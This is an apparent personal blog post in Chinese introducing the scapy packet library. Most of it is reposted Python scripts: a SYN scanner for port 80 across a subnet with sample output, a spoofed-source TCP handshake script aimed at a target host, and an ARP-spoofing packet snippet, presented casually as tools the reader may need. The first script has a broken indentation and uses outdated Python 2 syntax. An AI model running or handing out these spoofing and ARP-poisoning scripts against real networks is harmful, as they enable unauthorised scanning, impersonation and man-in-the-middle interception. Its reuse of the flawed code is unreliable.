python 网络工具 scapy 介绍

作者介绍,这是个万能的网络工具,除了可以查看 TCP/IP 各层的报文,还可以发送报文。可以说是一个万能工具,作者嚣张的说, “it can replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, etc.”。

项目地址:http://www.secdev.org/projects/scapy/

这里只是做一个简单的备份,以后有用再做了解。

下面是一个例子,摘自文档《Ruling the Network with Python》:

#!/usr/bin/env python
import sys
from scapy import *

conf.verb=0

if len(sys.argv) != 2:
    print "Usage: ./pscan.py <target>"
  sys.exit(1)
target=sys.argv[1]

p=IP(dst=target)/TCP(dport=80, flags="S")
ans,unans=sr(p, timeout=9)

for a in ans:
    if a[1].flags == 2:
        print a[1].src

效果是对 IP 段进行 80 端口扫描:

detach@luna:~/lab/scapy-0.9.17$ sudo ./pscan.py 192.168.9.0/24
 192.168.9.1
 192.168.9.2
 192.168.9.11
 192.168.9.14

 

还有这个,伪装 IP,给远端地址 TCP 报文(路由器只检查目的地址是否在自己“派送”范围),注意,目的地址不能是本地 IP:

#!/usr/bin/env python
import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 4:
    print "Usage: ./spoof.py <target> <spoofed_ip> <port>"
    sys.exit(1)

target = sys.argv[1] 
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print "Okay, SYN sent. Enter the sniffed sequence number now: "

seq=sys.stdin.readline()
print "Okay, using sequence number " + seq

seq=int(seq[:-1])

p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',ack=seq+1,seq=1)
send(p2)

print "Okay, final ACK sent. Check netstat on your target :-)" 

或许你还用得到 ARP 欺骗:

p = ARP()
p.op = 2
p.hwsrc = "00:11:22:aa:bb:cc"
p.psrc = spoofed_ip
p.hwdst = "ff:ff:ff:ff:ff:ff"
p.pdst = target
send(p) 

 

posted @ 2018-03-22 09:35  Biiigfish  阅读(5025)  评论(0编辑  收藏  举报